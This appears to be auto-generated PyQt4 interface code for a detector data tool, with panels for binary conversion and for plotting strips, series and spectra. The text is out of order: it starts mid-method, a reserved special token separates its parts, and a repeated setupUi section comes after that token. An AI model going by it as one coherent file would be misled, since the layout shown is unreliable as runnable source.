self.horizontalLayout_9 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_6) self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_9.setObjectName(_fromUtf8('horizontalLayout_9')) self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6) self.label_7.setMinimumSize(QtCore.QSize(0, 30)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_7.setFont(font) self.label_7.setObjectName(_fromUtf8('label_7')) self.horizontalLayout_9.addWidget(self.label_7) self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6) self.browserButton_7.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy(). hasHeightForWidth()) self.browserButton_7.setSizePolicy(sizePolicy) self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15)) self.browserButton_7.setObjectName(_fromUtf8('browserButton_7')) self.horizontalLayout_9.addWidget(self.browserButton_7) self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6) self.filePathEdit_7.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy(). hasHeightForWidth()) self.filePathEdit_7.setSizePolicy(sizePolicy) self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30)) self.filePathEdit_7.setObjectName(_fromUtf8('filePathEdit_7')) self.horizontalLayout_9.addWidget(self.filePathEdit_7) self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox) self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32) ) self.horizontalLayoutWidget_9.setObjectName(_fromUtf8( 'horizontalLayoutWidget_9')) self.horizontalLayout_10 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_9) self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_10.setObjectName(_fromUtf8('horizontalLayout_10') ) self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9) self.label_11.setMinimumSize(QtCore.QSize(0, 30)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_11.setFont(font) self.label_11.setObjectName(_fromUtf8('label_11')) self.horizontalLayout_10.addWidget(self.label_11) self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9) self.browserButton.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton.sizePolicy(). hasHeightForWidth()) self.browserButton.setSizePolicy(sizePolicy) self.browserButton.setMinimumSize(QtCore.QSize(80, 15)) self.browserButton.setObjectName(_fromUtf8('browserButton')) self.horizontalLayout_10.addWidget(self.browserButton) self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9) self.filePathEdit_3.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy(). hasHeightForWidth()) self.filePathEdit_3.setSizePolicy(sizePolicy) self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30)) self.filePathEdit_3.setObjectName(_fromUtf8('filePathEdit_3')) self.horizontalLayout_10.addWidget(self.filePathEdit_3) self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox) self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592, 32)) self.horizontalLayoutWidget_10.setObjectName(_fromUtf8( 'horizontalLayoutWidget_10')) self.horizontalLayout_11 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_10) self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_11.setObjectName(_fromUtf8('horizontalLayout_11') ) self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10) self.label_12.setMinimumSize(QtCore.QSize(0, 30)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_12.setFont(font) self.label_12.setObjectName(_fromUtf8('label_12')) self.horizontalLayout_11.addWidget(self.label_12) self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10 ) self.browserButton_3.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy(). hasHeightForWidth()) self.browserButton_3.setSizePolicy(sizePolicy) self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15)) self.browserButton_3.setObjectName(_fromUtf8('browserButton_3')) self.horizontalLayout_11.addWidget(self.browserButton_3) self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy(). hasHeightForWidth()) self.filePathEdit_5.setSizePolicy(sizePolicy) self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30)) self.filePathEdit_5.setObjectName(_fromUtf8('filePathEdit_5')) self.horizontalLayout_11.addWidget(self.filePathEdit_5) self.runButton = QtGui.QPushButton(self.groupBox) self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50)) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.runButton.sizePolicy(). hasHeightForWidth()) self.runButton.setSizePolicy(sizePolicy) self.runButton.setMinimumSize(QtCore.QSize(80, 50)) self.runButton.setIconSize(QtCore.QSize(24, 24)) self.runButton.setObjectName(_fromUtf8('runButton')) self.verticalLayout.addWidget(self.groupBox) self.groupBox_2 = QtGui.QGroupBox(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy(). hasHeightForWidth()) self.groupBox_2.setSizePolicy(sizePolicy) self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225)) font = QtGui.QFont() font.setBold(False) font.setItalic(False) font.setWeight(50) self.groupBox_2.setFont(font) self.groupBox_2.setAutoFillBackground(True) self.groupBox_2.setObjectName(_fromUtf8('groupBox_2')) self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32) ) self.horizontalLayoutWidget_4.setObjectName(_fromUtf8( 'horizontalLayoutWidget_4')) self.horizontalLayout_6 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_4) self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_6.setObjectName(_fromUtf8('horizontalLayout_6')) self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_3.setFont(font) self.label_3.setObjectName(_fromUtf8('label_3')) self.horizontalLayout_6.addWidget(self.label_3) self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy(). hasHeightForWidth()) self.browserButton_4.setSizePolicy(sizePolicy) self.browserButton_4.setObjectName(_fromUtf8('browserButton_4')) self.horizontalLayout_6.addWidget(self.browserButton_4) self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.loadButton.sizePolicy(). hasHeightForWidth()) self.loadButton.setSizePolicy(sizePolicy) self.loadButton.setObjectName(_fromUtf8('loadButton')) self.horizontalLayout_6.addWidget(self.loadButton) self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy(). hasHeightForWidth()) self.filePathEdit_4.setSizePolicy(sizePolicy) self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30)) self.filePathEdit_4.setObjectName(_fromUtf8('filePathEdit_4')) self.horizontalLayout_6.addWidget(self.filePathEdit_4) self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29) ) self.horizontalLayoutWidget_2.setObjectName(_fromUtf8( 'horizontalLayoutWidget_2')) self.horizontalLayout_2 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_2) self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_2.setObjectName(_fromUtf8('horizontalLayout_2')) self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label_4.sizePolicy(). hasHeightForWidth()) self.label_4.setSizePolicy(sizePolicy) self.label_4.setObjectName(_fromUtf8('label_4')) self.horizontalLayout_2.addWidget(self.label_4) self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox.sizePolicy(). hasHeightForWidth()) self.comboBox.setSizePolicy(sizePolicy) self.comboBox.setObjectName(_fromUtf8('comboBox')) self.horizontalLayout_2.addWidget(self.comboBox) self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotButton.sizePolicy(). hasHeightForWidth()) self.plotButton.setSizePolicy(sizePolicy) self.plotButton.setObjectName(_fromUtf8('plotButton')) self.horizontalLayout_2.addWidget(self.plotButton) self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481, 29)) self.horizontalLayoutWidget_3.setObjectName(_fromUtf8( 'horizontalLayoutWidget_3')) self.horizontalLayout_3 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_3) self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_3.setObjectName(_fromUtf8('horizontalLayout_3')) self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3) self.label_5.setObjectName(_fromUtf8('label_5')) self.horizontalLayout_3.addWidget(self.label_5) self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy(). hasHeightForWidth()) self.comboBox_R1.setSizePolicy(sizePolicy) self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0)) self.comboBox_R1.setObjectName(_fromUtf8('comboBox_R1')) self.horizontalLayout_3.addWidget(self.comboBox_R1) self.label = QtGui.QLabel(self.horizontalLayoutWidget_3) self.label.setEnabled(False) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy(). hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setMinimumSize(QtCore.QSize(30, 0)) self.label.setMaximumSize(QtCore.QSize(30, 29)) font = QtGui.QFont() font.setBold(True) font.setItalic(True) font.setUnderline(False) font.setWeight(75) self.label.setFont(font) self.label.setAutoFillBackground(True) self.label.setLineWidth(5) self.label.setAlignment(QtCore.Qt.AlignCenter) self.label.setObjectName(_fromUtf8('label')) self.horizontalLayout_3.addWidget(self.label) self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy(). hasHeightForWidth()) self.comboBox_R2.setSizePolicy(sizePolicy) self.comboBox_R2.setObjectName(_fromUtf8('comboBox_R2')) self.horizontalLayout_3.addWidget(self.comboBox_R2) self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy(). hasHeightForWidth()) self.plotRangeButton.setSizePolicy(sizePolicy) self.plotRangeButton.setObjectName(_fromUtf8('plotRangeButton')) self.horizontalLayout_3.addWidget(self.plotRangeButton) self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481, 29)) self.horizontalLayoutWidget_7.setObjectName(_fromUtf8( 'horizontalLayoutWidget_7')) self.horizontalLayout_5 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_7) self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_5.setObjectName(_fromUtf8('horizontalLayout_5')) self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7) self.label_8.setObjectName(_fromUtf8('label_8')) self.horizontalLayout_5.addWidget(self.label_8) self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy(). hasHeightForWidth()) self.comboBox_2.setSizePolicy(sizePolicy) self.comboBox_2.setObjectName(_fromUtf8('comboBox_2')) self.horizontalLayout_5.addWidget(self.comboBox_2) self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.checkBox.sizePolicy(). hasHeightForWidth()) self.checkBox.setSizePolicy(sizePolicy) self.checkBox.setObjectName(_fromUtf8('checkBox')) self.horizontalLayout_5.addWidget(self.checkBox) self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy(). hasHeightForWidth()) self.plotImageButton.setSizePolicy(sizePolicy) self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15)) self.plotImageButton.setObjectName(_fromUtf8('plotImageButton')) self.horizontalLayout_5.addWidget(self.plotImageButton) self.clearPlotButton = QtGui.QPushButton(self.groupBox_2) self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50)) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy(). hasHeightForWidth()) self.clearPlotButton.setSizePolicy(sizePolicy) self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50)) self.clearPlotButton.setObjectName(_fromUtf8('clearPlotButton')) self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29)) self.horizontalLayoutWidget.setObjectName(_fromUtf8( 'horizontalLayoutWidget')) self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget) self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout.setObjectName(_fromUtf8('horizontalLayout')) self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget) self.label_9.setObjectName(_fromUtf8('label_9')) self.horizontalLayout.addWidget(self.label_9) self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.pushButton.sizePolicy(). hasHeightForWidth()) self.pushButton.setSizePolicy(sizePolicy) self.pushButton.setMinimumSize(QtCore.QSize(80, 15)) self.pushButton.setObjectName(_fromUtf8('pushButton')) self.horizontalLayout.addWidget(self.pushButton) self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy(). hasHeightForWidth()) self.plotStripsButton.setSizePolicy(sizePolicy) self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15)) self.plotStripsButton.setObjectName(_fromUtf8('plotStripsButton')) self.horizontalLayout.addWidget(self.plotStripsButton) self.verticalLayout.addWidget(self.groupBox_2) MainWindow.setCentralWidget(self.centralwidget) self.statusbar = QtGui.QStatusBar(MainWindow) self.statusbar.setObjectName(_fromUtf8('statusbar')) MainWindow.setStatusBar(self.statusbar) self.toolBar = QtGui.QToolBar(MainWindow) self.toolBar.setObjectName(_fromUtf8('toolBar')) MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar) self.menuBar = QtGui.QMenuBar(MainWindow) self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22)) self.menuBar.setObjectName(_fromUtf8('menuBar')) MainWindow.setMenuBar(self.menuBar) self.actionOpen = QtGui.QAction(MainWindow) self.actionOpen.setVisible(True) self.actionOpen.setObjectName(_fromUtf8('actionOpen')) self.actionQuit = QtGui.QAction(MainWindow) self.actionQuit.setObjectName(_fromUtf8('actionQuit')) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): MainWindow.setWindowTitle(_translate('MainWindow', 'MainWindow', None)) self.groupBox_3.setTitle(_translate('MainWindow', 'PLOT WINDOW', None)) self.groupBox.setTitle(_translate('MainWindow', ' BINARY DATA CONVERSION', None)) self.label_7.setText(_translate('MainWindow', ' OUTPUT FILE ', None)) self.browserButton_7.setText(_translate('MainWindow', 'Browse', None)) self.filePathEdit_7.setText(_translate('MainWindow', 'D:\\detdev\\maia\\python\\', None)) self.label_11.setText(_translate('MainWindow', ' DECODER FILE', None)) self.browserButton.setText(_translate('MainWindow', 'Browse', None)) self.filePathEdit_3.setText(_translate('MainWindow', 'D:\\detdev\\maia\\python\\qtGSD\\gsd_parse.out', None)) self.label_12.setText(_translate('MainWindow', ' INPUT FILE ', None)) self.browserButton_3.setText(_translate('MainWindow', 'Browse', None)) self.filePathEdit_5.setText(_translate('MainWindow', 'D:\\detdev\\maia\\python\\', None)) self.runButton.setText(_translate('MainWindow', 'Run', None)) self.groupBox_2.setTitle(_translate('MainWindow', ' PLOT DATA', None)) self.label_3.setText(_translate('MainWindow', ' DATA FILE ', None)) self.browserButton_4.setText(_translate('MainWindow', 'Browse', None)) self.loadButton.setText(_translate('MainWindow', 'Load', None)) self.filePathEdit_4.setText(_translate('MainWindow', 'D:\\detdev\\maia\\python\\', None)) self.label_4.setText(_translate('MainWindow', ' PLOT STRIP ', None)) self.plotButton.setText(_translate('MainWindow', 'Plot', None)) self.label_5.setText(_translate('MainWindow', ' PLOT SERIES', None)) self.label.setText(_translate('MainWindow', 'to', None)) self.plotRangeButton.setText(_translate('MainWindow', 'Plot', None)) self.label_8.setText(_translate('MainWindow', ' PLOT SPECTRA AS 2-D IMAGE', None)) self.checkBox.setText(_translate('MainWindow', 'Log', None)) self.plotImageButton.setText(_translate('MainWindow', 'Plot Image', None)) self.clearPlotButton.setText(_translate('MainWindow', 'Clear', None)) self.label_9.setText(_translate('MainWindow', ' PLOT TOTAL COUNTS vs STRIP', None)) self.pushButton.setText(_translate('MainWindow', 'Update', None)) self.plotStripsButton.setText(_translate('MainWindow', 'Plot Strips', None)) self.toolBar.setWindowTitle(_translate('MainWindow', 'toolBar', None)) self.actionOpen.setText(_translate('MainWindow', 'Open', None)) self.actionQuit.setText(_translate('MainWindow', 'Quit', None)) <|reserved_special_token_1|> from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName(_fromUtf8('MainWindow')) MainWindow.resize(661, 728) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui. QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(MainWindow.sizePolicy(). hasHeightForWidth()) MainWindow.setSizePolicy(sizePolicy) MainWindow.setMinimumSize(QtCore.QSize(100, 100)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) MainWindow.setFont(font) MainWindow.setAutoFillBackground(False) MainWindow.setTabShape(QtGui.QTabWidget.Rounded) self.centralwidget = QtGui.QWidget(MainWindow) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy(). hasHeightForWidth()) self.centralwidget.setSizePolicy(sizePolicy) self.centralwidget.setMinimumSize(QtCore.QSize(100, 100)) self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000)) self.centralwidget.setObjectName(_fromUtf8('centralwidget')) self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget) self.verticalLayout.setObjectName(_fromUtf8('verticalLayout')) self.groupBox_3 = QtGui.QGroupBox(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui. QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy(). hasHeightForWidth()) self.groupBox_3.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setBold(False) font.setItalic(False) font.setWeight(50) self.groupBox_3.setFont(font) self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight) self.groupBox_3.setAutoFillBackground(True) self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt. AlignLeft | QtCore.Qt.AlignVCenter) self.groupBox_3.setObjectName(_fromUtf8('groupBox_3')) self.gridLayout = QtGui.QGridLayout(self.groupBox_3) self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint) self.gridLayout.setObjectName(_fromUtf8('gridLayout')) self.MainVertLayout = QtGui.QVBoxLayout() self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize) self.MainVertLayout.setContentsMargins(-1, 10, -1, -1) self.MainVertLayout.setSpacing(0) self.MainVertLayout.setObjectName(_fromUtf8('MainVertLayout')) self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1) self.verticalLayout.addWidget(self.groupBox_3) self.groupBox = QtGui.QGroupBox(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.groupBox.sizePolicy(). hasHeightForWidth()) self.groupBox.setSizePolicy(sizePolicy) self.groupBox.setMinimumSize(QtCore.QSize(100, 200)) font = QtGui.QFont() font.setBold(False) font.setItalic(False) font.setWeight(50) self.groupBox.setFont(font) self.groupBox.setWhatsThis(_fromUtf8('')) self.groupBox.setObjectName(_fromUtf8('groupBox')) self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox) self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594, 32)) self.horizontalLayoutWidget_6.setObjectName(_fromUtf8( 'horizontalLayoutWidget_6')) self.horizontalLayout_9 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_6) self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_9.setObjectName(_fromUtf8('horizontalLayout_9')) self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6) self.label_7.setMinimumSize(QtCore.QSize(0, 30)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_7.setFont(font) self.label_7.setObjectName(_fromUtf8('label_7')) self.horizontalLayout_9.addWidget(self.label_7) self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6) self.browserButton_7.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy(). hasHeightForWidth()) self.browserButton_7.setSizePolicy(sizePolicy) self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15)) self.browserButton_7.setObjectName(_fromUtf8('browserButton_7')) self.horizontalLayout_9.addWidget(self.browserButton_7) self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6) self.filePathEdit_7.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy(). hasHeightForWidth()) self.filePathEdit_7.setSizePolicy(sizePolicy) self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30)) self.filePathEdit_7.setObjectName(_fromUtf8('filePathEdit_7')) self.horizontalLayout_9.addWidget(self.filePathEdit_7) self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox) self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32) ) self.horizontalLayoutWidget_9.setObjectName(_fromUtf8( 'horizontalLayoutWidget_9')) self.horizontalLayout_10 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_9) self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_10.setObjectName(_fromUtf8('horizontalLayout_10') ) self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9) self.label_11.setMinimumSize(QtCore.QSize(0, 30)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_11.setFont(font) self.label_11.setObjectName(_fromUtf8('label_11')) self.horizontalLayout_10.addWidget(self.label_11) self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9) self.browserButton.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton.sizePolicy(). hasHeightForWidth()) self.browserButton.setSizePolicy(sizePolicy) self.browserButton.setMinimumSize(QtCore.QSize(80, 15)) self.browserButton.setObjectName(_fromUtf8('browserButton')) self.horizontalLayout_10.addWidget(self.browserButton) self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9) self.filePathEdit_3.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy(). hasHeightForWidth()) self.filePathEdit_3.setSizePolicy(sizePolicy) self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30)) self.filePathEdit_3.setObjectName(_fromUtf8('filePathEdit_3')) 